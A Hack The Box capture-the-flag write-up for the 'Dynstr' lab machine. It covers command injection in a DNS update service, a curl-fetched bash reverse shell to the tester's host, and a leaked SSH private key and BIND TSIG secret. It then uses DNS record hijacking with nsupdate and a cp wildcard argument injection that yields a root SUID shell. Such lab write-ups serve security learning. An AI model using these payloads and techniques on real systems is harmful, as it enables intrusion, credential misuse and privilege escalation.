Hack The Box - Dynstr

info_card

Dynstr is a medium rated box on HackTheBox by jkr. To get a foothold we will abuse a command injection vulnerability in a DNS update service. After this we will change the machine’s DNS entries to resolve a hostname to our ip. With this we can use an earlier found ssh-key to log in as the bindmgr user. Finally we will abuse a wildcard in a bash script for which we have sudo permissions to obtain root.

User

Nmap

As always we start our enumeration off with a nmap scan against all ports followed by a script and version scan to get a full picture of the initial attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4  10.129.160.254
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-12 23:00 UTC
Nmap scan report for 10.129.160.254
Host is up (0.049s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 65.08 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo nmap -p22,53,80 -sC -sV 10.129.160.254
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-12 22:57 UTC
Nmap scan report for sftp.infra.dyna.htb (10.129.160.254)
Host is up (0.032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.99 seconds

Dyna DNS

Out of the 3 open ports 80 looks most promising so we will start our journey to root there. Opening the website in our browser we see the home page of Dyna DNS, a DNS service still in it’s beta phase.

home_page

Going over to services we see 3 potential hostnames and also a username and password.

services

Running gobuster reveals a nic directory in the first run.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u  http://10.129.160.254/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.160.254/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/12 23:03:41 Starting gobuster in directory enumeration mode
===============================================================
...[snip]...
/nic                  (Status: 301) [Size: 314] [--> http://10.129.160.254/nic/]
...[snip]...

Going deeper on the nic directory in a second run we identify an update directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u  http://10.129.160.254/nic
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.160.254/nic
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/12 23:04:38 Starting gobuster in directory enumeration mode
===============================================================
...[snip]...
/update               (Status: 200) [Size: 8]
...[snip]...

Opening this page in our browser results in a badauth status message getting displayed.

badauth

The website seems to contain an endoint for dynu dns. Following the documentation we use the earlier found credentials as base64 and add it as header in burp.

1
2
$ echo -n dynadns:sndanyd | base64
ZHluYWRuczpzbmRhbnlk

With this we get a different status message, indicating all is working well.

auth_working

Playing around with the request in burp and testing for command injection we get a noticeable timedelay injecting sleep.

rce_poc

To get a shell we will eliminate bad chars as much as possible. First we will create an index.html file with a reverse shell.

index.html

1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.14/7575 0>&1'

We serve it on our machine with a python webserver on port 80 and set up a listener on the port specified in index.html.

1
2
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

With preparations met we can now issue a curl request to our ip in decimal format to skip . and pipe the content over to sh. You can quickly convert your ip to decimal with the following one liner.

ip-convert

1
2
$ python -c "print(sum([int(x) * 256 ** i for i, x in enumerate('10.10.14.14'.split('.')[::-1])]))"
168431118

Sending the request in burp we get a hit on our webserver and right afterwards a connection on our ncat listener.

reverse_shell

1
2
3
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.160.254 - - [12/Jun/2021 23:18:52] "GET / HTTP/1.1" 200 -

We upgrade our shell as www-data, fix the terminal size and continue our way to root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.160.254.
Ncat: Connection from 10.129.160.254:49140.
bash: cannot set terminal process group (795): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<nic$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@dynstr:/var/www/html/nic$ export TERM=xterm
export TERM=xterm
www-data@dynstr:/var/www/html/nic$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

www-data@dynstr:/var/www/html/nic$ stty rows 55 cols 236

Traces and nsupdate

Looking in bindmgr’s home directory we find some leftovers from a support case.

1
2
3
4
5
6
7
8
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr   4096 Mar 13 14:53 .
drwxr-xr-x 5 bindmgr bindmgr   4096 Jun 13 00:24 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt

The C62796521-debugging.script contains an ssh private key and also some remanants of where the user tried to use the key for.

C62796521-debugging.script

1
2
3
4
5
6
7
8
9
10
11
12
...[snip]...
fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0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NgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
read(5, "", 4096)                       = 0
close(5)                                = 0
...[snip]...
exit_group(67)                          = ?
+++ exited with 67 +++
bindmgr@nomen:~/support-case-C62796521$ strace -o strace-C62796521.txt -fs 2048 curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/id_rsa.pub
* Expire in 0 ms for 6 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
...[snip]...

We take the key, clean the format and set the permissions for it to 600. Trying to log in with the ssh key as bindmgr does however not work yet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6C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vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

The reason for this can be found in the authorized_keys file in bindmgr’s ssh directory. It only allows ssh authentication coming from any subdomain of infra.dyna.htb.

1
2
www-datar@dynstr:~$ cat .ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

Luckily for us there is a key in /etc which we can use to update the machines DNS entries with nsupdate.

1
2
3
4
5
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat /etc/bind/infra.key
key "infra-key" {
        algorithm hmac-sha256;
        secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};

Using the key we add a forward and reverse DNS entry for sftp.infra.dyna.htb. pointing to our machine. The next time the machine tries to resolve the allowed hostname it will see our ip connected with it and allow the authentication.

1
2
3
4
5
6
www-data@dynstr:~$ nsupdate -v -k /etc/bind/infra.key
> update add sftp.infra.dyna.htb. 86400 A 10.10.14.14
> send
> update add 14.14.10.10.in-addr.arpa. 300 PTR sftp.infra.dyna.htb.
> send
> quit

Now we can use the ssh key to log in as bindmgr and grab the user flag.

1
2
3
4
5
$ ssh -i id_rsa bindmgr@10.129.160.254
Last login: Sun Jun 13 00:17:13 2021 from sftp.infra.dyna.htb
bindmgr@dynstr:~$ wc -c user.txt
33 user.txt
bindmgr@dynstr:~$

Root

Copy permissions

Checking sudo permissions we can see that bindmgr is allowed to run the custom script bindmgr.sh as root.

1
2
3
4
5
6
7
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

The script checks for a .version file in the current working directory and the version number in it has to be higher than the one of the .version file in /etc/bind/named.bindmgr/.version. After this it copies all files in the current working directory with a wildcard to the /etc/bind/named.bindmgr/ directory. Wildcards are often dangerous and it is also the case this time. Copying a file the resulting copy is owned by the user that issued the command. Since we can run the script with sudo this would be root in this case. This means if we can copy a suid binary we can run this binary as root.

bindmgr.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
        systemctl status bind9
    else
        echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

First we identify the needed version to pass the first check of the script, which turns out to be the answer to everything.

1
2
bindmgr@dynstr:~$ cat /etc/bind/named.bindmgr/.version
42

We echo a version number higher than this in a .version file. Next we copy a binary which we want to set the suid bit on to our directory, we will use bash this time. Afterwards we set the suid bit on it and create a file with the name --preserve=mode. Because of the wildcard this file will be interpreted as a command line argument and allow us to keep the permissions set on our binary.

1
2
3
4
bindmgr@dynstr:/dev/shm$ echo 9001 > .version
bindmgr@dynstr:/dev/shm$ cp /bin/bash .
bindmgr@dynstr:/dev/shm$ chmod +s bash
bindmgr@dynstr:/dev/shm$ touch -- --preserve=mode

Now we execute the script as root and bash gets copied to the /etc/bind/named.bindmgr/ directory, now owned by root and with the suid bit still set.

1
2
3
4
5
6
7
8
9
10
11
bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
    /etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
    /etc/bind/named.bindmgr/bash:40: unknown option 'YF'
    /etc/bind/named.bindmgr/bash:40: unexpected token near '}'

We can now simply run it, get dropped in a rootshell and add the root flag to our collection.

1
2
3
4
5
bindmgr@dynstr:/dev/shm$ /etc/bind/named.bindmgr/bash -p
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# wc -c /root/root.txt
33 /root/root.txt